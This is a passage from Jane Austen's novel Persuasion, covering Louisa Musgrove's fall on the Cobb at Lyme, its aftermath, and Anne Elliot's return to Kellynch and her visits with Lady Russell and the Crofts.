+he sent in letters, but the Grappler was under orders for Portsmouth. +There the news must follow him, but who was to tell it? not I. +I would as soon have been run up to the yard-arm. Nobody could do it, +but that good fellow" (pointing to Captain Wentworth.) "The Laconia +had come into Plymouth the week before; no danger of her +being sent to sea again. He stood his chance for the rest; +wrote up for leave of absence, but without waiting the return, +travelled night and day till he got to Portsmouth, rowed off +to the Grappler that instant, and never left the poor fellow for a week. +That's what he did, and nobody else could have saved poor James. +You may think, Miss Elliot, whether he is dear to us!" + +Anne did think on the question with perfect decision, and said as much +in reply as her own feeling could accomplish, or as his seemed +able to bear, for he was too much affected to renew the subject, +and when he spoke again, it was of something totally different. + +Mrs Harville's giving it as her opinion that her husband would have +quite walking enough by the time he reached home, determined the direction +of all the party in what was to be their last walk; they would +accompany them to their door, and then return and set off themselves. +By all their calculations there was just time for this; but as they drew +near the Cobb, there was such a general wish to walk along it once more, +all were so inclined, and Louisa soon grew so determined, +that the difference of a quarter of an hour, it was found, +would be no difference at all; so with all the kind leave-taking, +and all the kind interchange of invitations and promises which +may be imagined, they parted from Captain and Mrs Harville +at their own door, and still accompanied by Captain Benwick, +who seemed to cling to them to the last, proceeded to make +the proper adieus to the Cobb. + +Anne found Captain Benwick again drawing near her. Lord Byron's +"dark blue seas" could not fail of being brought forward by +their present view, and she gladly gave him all her attention as long as +attention was possible. It was soon drawn, perforce another way. + +There was too much wind to make the high part of the new Cobb pleasant +for the ladies, and they agreed to get down the steps to the lower, +and all were contented to pass quietly and carefully down the steep flight, +excepting Louisa; she must be jumped down them by Captain Wentworth. +In all their walks, he had had to jump her from the stiles; +the sensation was delightful to her. The hardness of the pavement +for her feet, made him less willing upon the present occasion; +he did it, however. She was safely down, and instantly, +to show her enjoyment, ran up the steps to be jumped down again. +He advised her against it, thought the jar too great; but no, +he reasoned and talked in vain, she smiled and said, "I am determined +I will:" he put out his hands; she was too precipitate by half a second, +she fell on the pavement on the Lower Cobb, and was taken up lifeless! +There was no wound, no blood, no visible bruise; but her eyes were closed, +she breathed not, her face was like death. The horror of the moment +to all who stood around! + +Captain Wentworth, who had caught her up, knelt with her in his arms, +looking on her with a face as pallid as her own, in an agony of silence. +"She is dead! she is dead!" screamed Mary, catching hold of her +husband, and contributing with his own horror to make him immoveable; +and in another moment, Henrietta, sinking under the conviction, lost +her senses too, and would have fallen on the steps, but for Captain +Benwick and Anne, who caught and supported her between them. + +"Is there no one to help me?" were the first words which +burst from Captain Wentworth, in a tone of despair, and as if +all his own strength were gone. + +"Go to him, go to him," cried Anne, "for heaven's sake go to him. +I can support her myself. Leave me, and go to him. Rub her hands, +rub her temples; here are salts; take them, take them." + +Captain Benwick obeyed, and Charles at the same moment, +disengaging himself from his wife, they were both with him; +and Louisa was raised up and supported more firmly between them, +and everything was done that Anne had prompted, but in vain; +while Captain Wentworth, staggering against the wall for his support, +exclaimed in the bitterest agony-- + +"Oh God! her father and mother!" + +"A surgeon!" said Anne. + +He caught the word; it seemed to rouse him at once, and saying only-- +"True, true, a surgeon this instant," was darting away, +when Anne eagerly suggested-- + +"Captain Benwick, would not it be better for Captain Benwick? +He knows where a surgeon is to be found." + +Every one capable of thinking felt the advantage of the idea, +and in a moment (it was all done in rapid moments) Captain Benwick had +resigned the poor corpse-like figure entirely to the brother's care, +and was off for the town with the utmost rapidity. + +As to the wretched party left behind, it could scarcely be said +which of the three, who were completely rational, was suffering most: +Captain Wentworth, Anne, or Charles, who, really a very affectionate +brother, hung over Louisa with sobs of grief, and could only turn his eyes +from one sister, to see the other in a state as insensible, +or to witness the hysterical agitations of his wife, calling on him +for help which he could not give. + +Anne, attending with all the strength and zeal, and thought, +which instinct supplied, to Henrietta, still tried, at intervals, +to suggest comfort to the others, tried to quiet Mary, to animate Charles, +to assuage the feelings of Captain Wentworth. Both seemed to look to her +for directions. + +"Anne, Anne," cried Charles, "What is to be done next? +What, in heaven's name, is to be done next?" + +Captain Wentworth's eyes were also turned towards her. + +"Had not she better be carried to the inn? Yes, I am sure: +carry her gently to the inn." + +"Yes, yes, to the inn," repeated Captain Wentworth, comparatively +collected, and eager to be doing something. "I will carry her myself. +Musgrove, take care of the others." + +By this time the report of the accident had spread among the workmen +and boatmen about the Cobb, and many were collected near them, +to be useful if wanted, at any rate, to enjoy the sight of +a dead young lady, nay, two dead young ladies, for it proved twice as fine +as the first report. To some of the best-looking of these good people +Henrietta was consigned, for, though partially revived, +she was quite helpless; and in this manner, Anne walking by her side, +and Charles attending to his wife, they set forward, treading back +with feelings unutterable, the ground, which so lately, so very lately, +and so light of heart, they had passed along. + +They were not off the Cobb, before the Harvilles met them. +Captain Benwick had been seen flying by their house, with a countenance +which showed something to be wrong; and they had set off immediately, +informed and directed as they passed, towards the spot. +Shocked as Captain Harville was, he brought senses and nerves +that could be instantly useful; and a look between him and his wife +decided what was to be done. She must be taken to their house; +all must go to their house; and await the surgeon's arrival there. +They would not listen to scruples: he was obeyed; they were all +beneath his roof; and while Louisa, under Mrs Harville's direction, +was conveyed up stairs, and given possession of her own bed, +assistance, cordials, restoratives were supplied by her husband +to all who needed them. + +Louisa had once opened her eyes, but soon closed them again, +without apparent consciousness. This had been a proof of life, +however, of service to her sister; and Henrietta, though perfectly +incapable of being in the same room with Louisa, was kept, +by the agitation of hope and fear, from a return of her own insensibility. +Mary, too, was growing calmer. + +The surgeon was with them almost before it had seemed possible. +They were sick with horror, while he examined; but he was not hopeless. +The head had received a severe contusion, but he had seen greater injuries +recovered from: he was by no means hopeless; he spoke cheerfully. + +That he did not regard it as a desperate case, that he did not say +a few hours must end it, was at first felt, beyond the hope of most; +and the ecstasy of such a reprieve, the rejoicing, deep and silent, +after a few fervent ejaculations of gratitude to Heaven had been offered, +may be conceived. + +The tone, the look, with which "Thank God!" was uttered +by Captain Wentworth, Anne was sure could never be forgotten by her; +nor the sight of him afterwards, as he sat near a table, leaning over it +with folded arms and face concealed, as if overpowered by +the various feelings of his soul, and trying by prayer and reflection +to calm them. + +Louisa's limbs had escaped. There was no injury but to the head. + +It now became necessary for the party to consider what was best to be done, +as to their general situation. They were now able to speak to each other +and consult. That Louisa must remain where she was, however distressing +to her friends to be involving the Harvilles in such trouble, +did not admit a doubt. Her removal was impossible. The Harvilles +silenced all scruples; and, as much as they could, all gratitude. +They had looked forward and arranged everything before the others +began to reflect. Captain Benwick must give up his room to them, +and get another bed elsewhere; and the whole was settled. +They were only concerned that the house could accommodate no more; +and yet perhaps, by "putting the children away in the maid's room, +or swinging a cot somewhere," they could hardly bear to think of not +finding room for two or three besides, supposing they might wish to stay; +though, with regard to any attendance on Miss Musgrove, there need not be +the least uneasiness in leaving her to Mrs Harville's care entirely. +Mrs Harville was a very experienced nurse, and her nursery-maid, +who had lived with her long, and gone about with her everywhere, +was just such another. Between these two, she could want +no possible attendance by day or night. And all this was said +with a truth and sincerity of feeling irresistible. + +Charles, Henrietta, and Captain Wentworth were the three in consultation, +and for a little while it was only an interchange of perplexity and terror. +"Uppercross, the necessity of some one's going to Uppercross; +the news to be conveyed; how it could be broken to Mr and Mrs Musgrove; +the lateness of the morning; an hour already gone since they +ought to have been off; the impossibility of being in tolerable time." +At first, they were capable of nothing more to the purpose +than such exclamations; but, after a while, Captain Wentworth, +exerting himself, said-- + +"We must be decided, and without the loss of another minute. +Every minute is valuable. Some one must resolve on being off +for Uppercross instantly. Musgrove, either you or I must go." + +Charles agreed, but declared his resolution of not going away. +He would be as little incumbrance as possible to Captain and Mrs Harville; +but as to leaving his sister in such a state, he neither ought, nor would. +So far it was decided; and Henrietta at first declared the same. +She, however, was soon persuaded to think differently. The usefulness +of her staying! She who had not been able to remain in Louisa's room, +or to look at her, without sufferings which made her worse than helpless! +She was forced to acknowledge that she could do no good, +yet was still unwilling to be away, till, touched by the thought +of her father and mother, she gave it up; she consented, +she was anxious to be at home. + +The plan had reached this point, when Anne, coming quietly +down from Louisa's room, could not but hear what followed, +for the parlour door was open. + +"Then it is settled, Musgrove," cried Captain Wentworth, +"that you stay, and that I take care of your sister home. +But as to the rest, as to the others, if one stays to assist Mrs Harville, +I think it need be only one. Mrs Charles Musgrove will, of course, +wish to get back to her children; but if Anne will stay, no one so proper, +so capable as Anne." + +She paused a moment to recover from the emotion of hearing herself +so spoken of. The other two warmly agreed with what he said, +and she then appeared. + +"You will stay, I am sure; you will stay and nurse her;" cried he, +turning to her and speaking with a glow, and yet a gentleness, +which seemed almost restoring the past. She coloured deeply, +and he recollected himself and moved away. She expressed herself +most willing, ready, happy to remain. "It was what she had been +thinking of, and wishing to be allowed to do. A bed on the floor +in Louisa's room would be sufficient for her, if Mrs Harville +would but think so." + +One thing more, and all seemed arranged. Though it was rather desirable +that Mr and Mrs Musgrove should be previously alarmed by some +share of delay; yet the time required by the Uppercross horses +to take them back, would be a dreadful extension of suspense; +and Captain Wentworth proposed, and Charles Musgrove agreed, +that it would be much better for him to take a chaise from the inn, +and leave Mr Musgrove's carriage and horses to be sent home +the next morning early, when there would be the farther advantage +of sending an account of Louisa's night. + +Captain Wentworth now hurried off to get everything ready on his part, +and to be soon followed by the two ladies. When the plan was +made known to Mary, however, there was an end of all peace in it. +She was so wretched and so vehement, complained so much of injustice +in being expected to go away instead of Anne; Anne, who was +nothing to Louisa, while she was her sister, and had the best right +to stay in Henrietta's stead! Why was not she to be as useful as Anne? +And to go home without Charles, too, without her husband! +No, it was too unkind. And in short, she said more than her husband +could long withstand, and as none of the others could oppose +when he gave way, there was no help for it; the change of Mary for Anne +was inevitable. + +Anne had never submitted more reluctantly to the jealous +and ill-judging claims of Mary; but so it must be, and they set off +for the town, Charles taking care of his sister, and Captain Benwick +attending to her. She gave a moment's recollection, as they hurried along, +to the little circumstances which the same spots had witnessed +earlier in the morning. There she had listened to Henrietta's schemes +for Dr Shirley's leaving Uppercross; farther on, she had +first seen Mr Elliot; a moment seemed all that could now be given +to any one but Louisa, or those who were wrapt up in her welfare. + +Captain Benwick was most considerately attentive to her; and, +united as they all seemed by the distress of the day, she felt +an increasing degree of good-will towards him, and a pleasure even +in thinking that it might, perhaps, be the occasion of continuing +their acquaintance. + +Captain Wentworth was on the watch for them, and a chaise and four in waiting, +stationed for their convenience in the lowest part of the street; +but his evident surprise and vexation at the substitution of one sister +for the other, the change in his countenance, the astonishment, +the expressions begun and suppressed, with which Charles was listened to, +made but a mortifying reception of Anne; or must at least convince her +that she was valued only as she could be useful to Louisa. + +She endeavoured to be composed, and to be just. Without emulating +the feelings of an Emma towards her Henry, she would have +attended on Louisa with a zeal above the common claims of regard, +for his sake; and she hoped he would not long be so unjust +as to suppose she would shrink unnecessarily from the office of a friend. + +In the mean while she was in the carriage. He had handed them both in, +and placed himself between them; and in this manner, under these +circumstances, full of astonishment and emotion to Anne, she quitted Lyme. +How the long stage would pass; how it was to affect their manners; +what was to be their sort of intercourse, she could not foresee. +It was all quite natural, however. He was devoted to Henrietta; +always turning towards her; and when he spoke at all, always with the view +of supporting her hopes and raising her spirits. In general, +his voice and manner were studiously calm. To spare Henrietta +from agitation seemed the governing principle. Once only, +when she had been grieving over the last ill-judged, ill-fated +walk to the Cobb, bitterly lamenting that it ever had been thought of, +he burst forth, as if wholly overcome-- + +"Don't talk of it, don't talk of it," he cried. "Oh God! that I had +not given way to her at the fatal moment! Had I done as I ought! +But so eager and so resolute! Dear, sweet Louisa!" + +Anne wondered whether it ever occurred to him now, to question the justness +of his own previous opinion as to the universal felicity and advantage +of firmness of character; and whether it might not strike him that, +like all other qualities of the mind, it should have its proportions +and limits. She thought it could scarcely escape him to feel +that a persuadable temper might sometimes be as much in favour of happiness +as a very resolute character. + +They got on fast. Anne was astonished to recognise the same hills +and the same objects so soon. Their actual speed, heightened by +some dread of the conclusion, made the road appear but half as long +as on the day before. It was growing quite dusk, however, +before they were in the neighbourhood of Uppercross, and there had been +total silence among them for some time, Henrietta leaning back +in the corner, with a shawl over her face, giving the hope of her +having cried herself to sleep; when, as they were going up their last hill, +Anne found herself all at once addressed by Captain Wentworth. +In a low, cautious voice, he said: -- + +"I have been considering what we had best do. She must not +appear at first. She could not stand it. I have been thinking whether +you had not better remain in the carriage with her, while I go in +and break it to Mr and Mrs Musgrove. Do you think this is a good plan?" + +She did: he was satisfied, and said no more. But the remembrance +of the appeal remained a pleasure to her, as a proof of friendship, +and of deference for her judgement, a great pleasure; and when it became +a sort of parting proof, its value did not lessen. + +When the distressing communication at Uppercross was over, +and he had seen the father and mother quite as composed as could be hoped, +and the daughter all the better for being with them, he announced +his intention of returning in the same carriage to Lyme; +and when the horses were baited, he was off. + +(End of volume one.) + + + +Chapter 13 + + +The remainder of Anne's time at Uppercross, comprehending only two days, +was spent entirely at the Mansion House; and she had the satisfaction +of knowing herself extremely useful there, both as an immediate companion, +and as assisting in all those arrangements for the future, which, +in Mr and Mrs Musgrove's distressed state of spirits, would have +been difficulties. + +They had an early account from Lyme the next morning. Louisa was +much the same. No symptoms worse than before had appeared. +Charles came a few hours afterwards, to bring a later and +more particular account. He was tolerably cheerful. A speedy cure +must not be hoped, but everything was going on as well +as the nature of the case admitted. In speaking of the Harvilles, +he seemed unable to satisfy his own sense of their kindness, +especially of Mrs Harville's exertions as a nurse. "She really left +nothing for Mary to do. He and Mary had been persuaded to go early +to their inn last night. Mary had been hysterical again this morning. +When he came away, she was going to walk out with Captain Benwick, +which, he hoped, would do her good. He almost wished she had been +prevailed on to come home the day before; but the truth was, +that Mrs Harville left nothing for anybody to do." + +Charles was to return to Lyme the same afternoon, and his father +had at first half a mind to go with him, but the ladies could not consent. +It would be going only to multiply trouble to the others, +and increase his own distress; and a much better scheme followed +and was acted upon. A chaise was sent for from Crewkherne, +and Charles conveyed back a far more useful person in the old nursery-maid +of the family, one who having brought up all the children, +and seen the very last, the lingering and long-petted Master Harry, +sent to school after his brothers, was now living in her deserted nursery +to mend stockings and dress all the blains and bruises she could +get near her, and who, consequently, was only too happy in being +allowed to go and help nurse dear Miss Louisa. Vague wishes of +getting Sarah thither, had occurred before to Mrs Musgrove and Henrietta; +but without Anne, it would hardly have been resolved on, +and found practicable so soon. + +They were indebted, the next day, to Charles Hayter, for all +the minute knowledge of Louisa, which it was so essential to obtain +every twenty-four hours. He made it his business to go to Lyme, +and his account was still encouraging. The intervals of sense +and consciousness were believed to be stronger. Every report agreed +in Captain Wentworth's appearing fixed in Lyme. + +Anne was to leave them on the morrow, an event which they all dreaded. +"What should they do without her? They were wretched comforters +for one another." And so much was said in this way, that Anne thought +she could not do better than impart among them the general inclination +to which she was privy, and persuaded them all to go to Lyme at once. +She had little difficulty; it was soon determined that they would go; +go to-morrow, fix themselves at the inn, or get into lodgings, +as it suited, and there remain till dear Louisa could be moved. +They must be taking off some trouble from the good people she was with; +they might at least relieve Mrs Harville from the care of her own children; +and in short, they were so happy in the decision, that Anne was delighted +with what she had done, and felt that she could not spend her +last morning at Uppercross better than in assisting their preparations, +and sending them off at an early hour, though her being left +to the solitary range of the house was the consequence. + +She was the last, excepting the little boys at the cottage, +she was the very last, the only remaining one of all that had filled +and animated both houses, of all that had given Uppercross +its cheerful character. A few days had made a change indeed! + +If Louisa recovered, it would all be well again. More than +former happiness would be restored. There could not be a doubt, +to her mind there was none, of what would follow her recovery. +A few months hence, and the room now so deserted, occupied but by +her silent, pensive self, might be filled again with all that was happy +and gay, all that was glowing and bright in prosperous love, +all that was most unlike Anne Elliot! + +An hour's complete leisure for such reflections as these, +on a dark November day, a small thick rain almost blotting out +the very few objects ever to be discerned from the windows, was enough +to make the sound of Lady Russell's carriage exceedingly welcome; +and yet, though desirous to be gone, she could not quit the Mansion House, +or look an adieu to the Cottage, with its black, dripping and +comfortless veranda, or even notice through the misty glasses +the last humble tenements of the village, without a saddened heart. +Scenes had passed in Uppercross which made it precious. +It stood the record of many sensations of pain, once severe, +but now softened; and of some instances of relenting feeling, +some breathings of friendship and reconciliation, which could +never be looked for again, and which could never cease to be dear. +She left it all behind her, all but the recollection that +such things had been. + +Anne had never entered Kellynch since her quitting Lady Russell's house +in September. It had not been necessary, and the few occasions of +its being possible for her to go to the Hall she had contrived to evade +and escape from. Her first return was to resume her place in the modern +and elegant apartments of the Lodge, and to gladden the eyes +of its mistress. + +There was some anxiety mixed with Lady Russell's joy in meeting her. +She knew who had been frequenting Uppercross. But happily, +either Anne was improved in plumpness and looks, or Lady Russell +fancied her so; and Anne, in receiving her compliments on the occasion, +had the amusement of connecting them with the silent admiration +of her cousin, and of hoping that she was to be blessed with +a second spring of youth and beauty. + +When they came to converse, she was soon sensible of some mental change. +The subjects of which her heart had been full on leaving Kellynch, +and which she had felt slighted, and been compelled to smother +among the Musgroves, were now become but of secondary interest. +She had lately lost sight even of her father and sister and Bath. +Their concerns had been sunk under those of Uppercross; +and when Lady Russell reverted to their former hopes and fears, +and spoke her satisfaction in the house in Camden Place, +which had been taken, and her regret that Mrs Clay should still +be with them, Anne would have been ashamed to have it known +how much more she was thinking of Lyme and Louisa Musgrove, +and all her acquaintance there; how much more interesting to her +was the home and the friendship of the Harvilles and Captain Benwick, +than her own father's house in Camden Place, or her own sister's intimacy +with Mrs Clay. She was actually forced to exert herself +to meet Lady Russell with anything like the appearance of equal solicitude, +on topics which had by nature the first claim on her. + +There was a little awkwardness at first in their discourse +on another subject. They must speak of the accident at Lyme. +Lady Russell had not been arrived five minutes the day before, +when a full account of the whole had burst on her; but still it must +be talked of, she must make enquiries, she must regret the imprudence, +lament the result, and Captain Wentworth's name must be mentioned by both. +Anne was conscious of not doing it so well as Lady Russell. +She could not speak the name, and look straight forward to +Lady Russell's eye, till she had adopted the expedient of telling her +briefly what she thought of the attachment between him and Louisa. +When this was told, his name distressed her no longer. + +Lady Russell had only to listen composedly, and wish them happy, +but internally her heart revelled in angry pleasure, in pleased contempt, +that the man who at twenty-three had seemed to understand somewhat +of the value of an Anne Elliot, should, eight years afterwards, +be charmed by a Louisa Musgrove. + +The first three or four days passed most quietly, with no circumstance +to mark them excepting the receipt of a note or two from Lyme, +which found their way to Anne, she could not tell how, and brought +a rather improving account of Louisa. At the end of that period, +Lady Russell's politeness could repose no longer, and the fainter +self-threatenings of the past became in a decided tone, +"I must call on Mrs Croft; I really must call upon her soon. +Anne, have you courage to go with me, and pay a visit in that house? +It will be some trial to us both." + +Anne did not shrink from it; on the contrary, she truly felt as she said, +in observing-- + +"I think you are very likely to suffer the most of the two; +your feelings are less reconciled to the change than mine. +By remaining in the neighbourhood, I am become inured to it." + +She could have said more on the subject; for she had in fact +so high an opinion of the Crofts, and considered her father +so very fortunate in his tenants, felt the parish to be so sure +of a good example, and the poor of the best attention and relief, +that however sorry and ashamed for the necessity of the removal, +she could not but in conscience feel that they were gone +who deserved not to stay, and that Kellynch Hall had passed +into better hands than its owners'. These convictions must unquestionably +have their own pain, and severe was its kind; but they precluded +that pain which Lady Russell would suffer in entering the house again, +and returning through the well-known apartments. + +In such moments Anne had no power of saying to herself, +"These rooms ought to belong only to us. Oh, how fallen +in their destination! How unworthily occupied! An ancient family +to be so driven away! Strangers filling their place!" +No, except when she thought of her mother, and remembered where +she had been used to sit and preside, she had no sigh of that description +to heave. + +Mrs Croft always met her with a kindness which gave her the pleasure +of fancying herself a favourite, and on the present occasion, +receiving her in that house, there was particular attention. + +The sad accident at Lyme was soon the prevailing topic, +and on comparing their latest accounts of the invalid, it appeared +that each lady dated her intelligence from the same hour of yestermorn; +that Captain Wentworth had been in Kellynch yesterday (the first time +since the accident), had brought Anne the last note, which she had +not been able to trace the exact steps of; had staid a few hours +and then returned again to Lyme, and without any present intention +of quitting it any more. He had enquired after her, she found, +particularly; had expressed his hope of Miss Elliot's not being +the worse for her exertions, and had spoken of those exertions as great. +This was handsome, and gave her more pleasure than almost anything else +could have done. + +As to the sad catastrophe itself, it could be canvassed only in one style +by a couple of steady, sensible women, whose judgements had to work +on ascertained events; and it was perfectly decided that it had been +the consequence of much thoughtlessness and much imprudence; +that its effects were most alarming, and that it was frightful to think, +how long Miss Musgrove's recovery might yet be doubtful, and how liable +she would still remain to suffer from the concussion hereafter! +The Admiral wound it up summarily by exclaiming-- + +"Ay, a very bad business indeed. A new sort of way this, +for a young fellow to be making love, by breaking his mistress's head, +is not it, Miss Elliot? This is breaking a head and giving a plaster, +truly!" + +Admiral Croft's manners were not quite of the tone to suit Lady Russell, +but they delighted Anne. His goodness of heart and simplicity +of character were irresistible. + +"Now, this must be very bad for you," said he, suddenly rousing from +a little reverie, "to be coming and finding us here. I had not +recollected it before, I declare, but it must be very bad. +But now, do not stand upon ceremony. Get up and go over all the rooms +in the house if you like it." + +"Another time, Sir, I thank you, not now." + +"Well, whenever it suits you. You can slip in from the shrubbery +at any time; and there you will find we keep our umbrellas hanging up +by that door. A good place is not it? But," (checking himself), +"you will not think it a good place, for yours were always kept +in the butler's room. Ay, so it always is, I believe. +One man's ways may be as good as another's, but we all like our own best. +And so you must judge for yourself, whether it would be better for you +to go about the house or not." + +Anne, finding she might decline it, did so, very gratefully. + +"We have made very few changes either," continued the Admiral, +after thinking a moment. "Very few. We told you about the laundry-door, +at Uppercross. That has been a very great improvement. +The wonder was, how any family upon earth could bear with the inconvenience +of its opening as it did, so long! You will tell Sir Walter +what we have done, and that Mr Shepherd thinks it the greatest improvement +the house ever had. Indeed, I must do ourselves the justice to say, +that the few alterations we have made have been all very much +for the better. My wife should have the credit of them, however. +I have done very little besides sending away some of the large +looking-glasses from my dressing-room, which was your father's. +A very good man, and very much the gentleman I am sure: +but I should think, Miss Elliot," (looking with serious reflection), +"I should think he must be rather a dressy man for his time of life. +Such a number of looking-glasses! oh Lord! there was no getting away +from one's self. So I got Sophy to lend me a hand, and we soon +shifted their quarters; and now I am quite snug, with my +little shaving glass in one corner, and another great thing +that I never go near." + +Anne, amused in spite of herself, was rather distressed for an answer, +and the Admiral, fearing he might not have been civil enough, +took up the subject again, to say-- + +"The next time you write to your good father, Miss Elliot, +pray give him my compliments and Mrs Croft's, and say that we are +settled here quite to our liking, and have no fault at all to find +with the place. The breakfast-room chimney smokes a little, +I grant you, but it is only when the wind is due north and blows hard, +which may not happen three times a winter. And take it altogether, +now that we have been into most of the houses hereabouts and can judge, +there is not one that we like better than this. Pray say so, +with my compliments. He will be glad to hear it." + +Lady Russell and Mrs Croft were very well pleased with each other: +but the acquaintance which this visit began was fated not to proceed +far at present; for when it was returned, the Crofts announced +themselves to be going away for a few weeks, to visit their connexions +in the north of the county, and probably might not be at home again +before Lady Russell would be removing to Bath. + +So ended all danger to Anne of meeting Captain Wentworth at Kellynch Hall, +or of seeing him in company with her friend. Everything was safe enough, +and she smiled over the many anxious feelings she had wasted +on the subject. + + + +Chapter 14 + + +Though Charles and Mary had remained at Lyme much longer after +Mr and Mrs Musgrove's going than Anne conceived they could have been +at all wanted, they were yet the first of the family to be at home again; +and as soon as possible after their return to Uppercross +they drove over to the Lodge. They had left Louisa beginning to sit up; +but her head, though clear, was exceedingly weak, and her nerves +susceptible to the highest extreme of tenderness; and though +she might be pronounced to be altogether doing very well, +it was still impossible to say when she might be able to bear +the removal home; and her father and mother, who must return +in time to receive their younger children for the Christmas holidays, +had hardly a hope of being allowed to bring her with them. + +They had been all in lodgings together. Mrs Musgrove had +got Mrs Harville's children away as much as she could, every possible +supply from Uppercross had been furnished, to lighten the inconvenience +to the Harvilles, while the Harvilles had been wanting them +to come to dinner every day; and in short, it seemed to have been +only a struggle on each side as to which should be most disinterested +and hospitable. + +Mary had had her evils; but upon the whole, as was evident +by her staying so long, she had found more to enjoy than to suffer. +Charles Hayter had been at Lyme oftener than suited her; and when +they dined with the Harvilles there had been only a maid-servant to wait, +and at first Mrs Harville had always given Mrs Musgrove precedence; +but then, she had received so very handsome an apology from her +on finding out whose daughter she was, and there had been so much +going on every day, there had been so many walks between their lodgings +and the Harvilles, and she had got books from the library, +and changed them so often, that the balance had certainly been +much in favour of Lyme. She had been taken to Charmouth too, +and she had bathed, and she had gone to church, and there were a great many +more people to look at in the church at Lyme than at Uppercross; +and all this, joined to the sense of being so very useful, +had made really an agreeable fortnight. + +Anne enquired after Captain Benwick, Mary's face was clouded directly. +Charles laughed. + +"Oh! Captain Benwick is very well, I believe, but he is +a very odd young man. I do not know what he would be at. +We asked him to come home with us for a day or two: Charles undertook +to give him some shooting, and he seemed quite delighted, and, for my part, +I thought it was all settled; when behold! on Tuesday night, +he made a very awkward sort of excuse; `he never shot' and he had +`been quite misunderstood,' and he had promised this and he had +promised that, and the end of it was, I found, that he did not mean to come. +I suppose he was afraid of finding it dull; but upon my word +I should have thought we were lively enough at the Cottage +for such a heart-broken man as Captain Benwick." + +Charles laughed again and said, "Now Mary, you know very well +how it really was. It was all your doing," (turning to Anne.) +"He fancied that if he went with us, he should find you close by: +he fancied everybody to be living in Uppercross; and when he discovered +that Lady Russell lived three miles off, his heart failed him, +and he had not courage to come. That is the fact, upon my honour, +Mary knows it is." + +But Mary did not give into it very graciously, whether from +not considering Captain Benwick entitled by birth and situation +to be in love with an Elliot, or from not wanting to believe +Anne a greater attraction to Uppercross than herself, must be +left to be guessed. Anne's good-will, however, was not to be lessened +by what she heard. She boldly acknowledged herself flattered, +and continued her enquiries. + +"Oh! he talks of you," cried Charles, "in such terms--" +Mary interrupted him. "I declare, Charles, I never heard him +mention Anne twice all the time I was there. I declare, Anne, +he never talks of you at all." + +"No," admitted Charles, "I do not know that he ever does, in a general +way; but however, it is a very clear thing that he admires you exceedingly. +His head is full of some books that he is reading upon your recommendation, +and he wants to talk to you about them; he has found out something or other +in one of them which he thinks--oh! I cannot pretend to remember it, +but it was something very fine--I overheard him telling Henrietta +all about it; and then `Miss Elliot' was spoken of in the highest terms! +Now Mary, I declare it was so, I heard it myself, and you were +in the other room. `Elegance, sweetness, beauty.' Oh! there was no end +of Miss Elliot's charms." + +"And I am sure," cried Mary, warmly, "it was a very little to his credit, +if he did. Miss Harville only died last June. Such a heart +is very little worth having; is it, Lady Russell? I am sure +you will agree with me." + +"I must see Captain Benwick before I decide," said Lady Russell, smiling. + +"And that you are very likely to do very soon, I can tell you, ma'am," +said Charles. "Though he had not nerves for coming away with us, +and setting off again afterwards to pay a formal visit here, +he will make his way over to Kellynch one day by himself, +you may depend on it. I told him the distance and the road, +and I told him of the church's being so very well worth seeing; +for as he has a taste for those sort of things, I thought that would +be a good excuse, and he listened with all his understanding and soul; +and I am sure from his manner that you will have him calling here soon. +So, I give you notice, Lady Russell." + +"Any acquaintance of Anne's will always be welcome to me," +was Lady Russell's kind answer. + +"Oh! as to being Anne's acquaintance," said Mary, "I think he is rather +my acquaintance, for I have been seeing him every day this last fortnight." + +"Well, as your joint acquaintance, then, I shall be very happy +to see Captain Benwick." + +"You will not find anything very agreeable in him, I assure you, ma'am. +He is one of the dullest young men that ever lived. He has walked with me, +sometimes, from one end of the sands to the other, without saying a word. +He is not at all a well-bred young man. I am sure you will not like him." + +"There we differ, Mary," said Anne. "I think Lady Russell would like him. +I think she would be so much pleased with his mind, that she would +very soon see no deficiency in his manner." + +"So do I, Anne," said Charles. "I am sure Lady Russell would like him. +He is just Lady Russell's sort. Give him a book, and he will +read all day long." + +"Yes, that he will!" exclaimed Mary, tauntingly. "He will sit poring +over his book, and not know when a person speaks to him, or when one +drop's one's scissors, or anything that happens. Do you think +Lady Russell would like that?" + +Lady Russell could not help laughing. "Upon my word," said she, +"I should not have supposed that my opinion of any one could have +admitted of such difference of conjecture, steady and matter of fact +as I may call myself. I have really a curiosity to see the person +who can give occasion to such directly opposite notions. +I wish he may be induced to call here. And when he does, Mary, +you may depend upon hearing my opinion; but I am determined +not to judge him beforehand." + +"You will not like him, I will answer for it." + +Lady Russell began talking of something else. Mary spoke with animation +of their meeting with, or rather missing, Mr Elliot so extraordinarily. + +"He is a man," said Lady Russell, "whom I have no wish to see. +His declining to be on cordial terms with the head of his family, +has left a very strong impression in his disfavour with me." + +This decision checked Mary's eagerness, and stopped her short +in the midst of the Elliot countenance. + +With regard to Captain Wentworth, though Anne hazarded no enquiries, +there was voluntary communication sufficient. His spirits had been +greatly recovering lately as might be expected. As Louisa improved, +he had improved, and he was now quite a different creature +from what he had been the first week. He had not seen Louisa; +and was so extremely fearful of any ill consequence to her +from an interview, that he did not press for it at all; and, +on the contrary, seemed to have a plan of going away for a week +or ten days, till her head was stronger. He had talked of going +down to Plymouth for a week, and wanted to persuade Captain Benwick +to go with him; but, as Charles maintained to the last, Captain Benwick +seemed much more disposed to ride over to Kellynch. + +There can be no doubt that Lady Russell and Anne were both +occasionally thinking of Captain Benwick, from this time. +Lady Russell could not hear the door-bell without feeling that it might +be his herald; nor could Anne return from any stroll of solitary indulgence +in her father's grounds, or any visit of charity in the village, +without wondering whether she might see him or hear of him. +Captain Benwick came not, however. He was either less disposed for it +than Charles had imagined, or he was too shy; and after giving him +a week's indulgence, Lady Russell determined him to be unworthy +of the interest which he had been beginning to excite. + +The Musgroves came back to receive their happy boys and girls from school, +bringing with them Mrs Harville's little children, to improve the noise +of Uppercross, and lessen that of Lyme. Henrietta remained with Louisa; +but all the rest of the family were again in their usual quarters. + +Lady Russell and Anne paid their compliments to them once, +when Anne could not but feel that Uppercross was already quite alive again. +Though neither Henrietta, nor Louisa, nor Charles Hayter, +nor Captain Wentworth were there, the room presented as strong a contrast +as could be wished to the last state she had seen it in. + +Immediately surrounding Mrs Musgrove were the little Harvilles, +whom she was sedulously guarding from the tyranny of the two children +from the Cottage, expressly arrived to amuse them. On one side +was a table occupied by some chattering girls, cutting up silk +and gold paper; and on the other were tressels and trays, +bending under the weight of brawn and cold pies, where riotous boys +were holding high revel; the whole completed by a roaring Christmas fire, +which seemed determined to be heard, in spite of all the noise +of the others. Charles and Mary also came in, of course, +during their visit, and Mr Musgrove made a point of paying his respects +to Lady Russell, and sat down close to her for ten minutes, 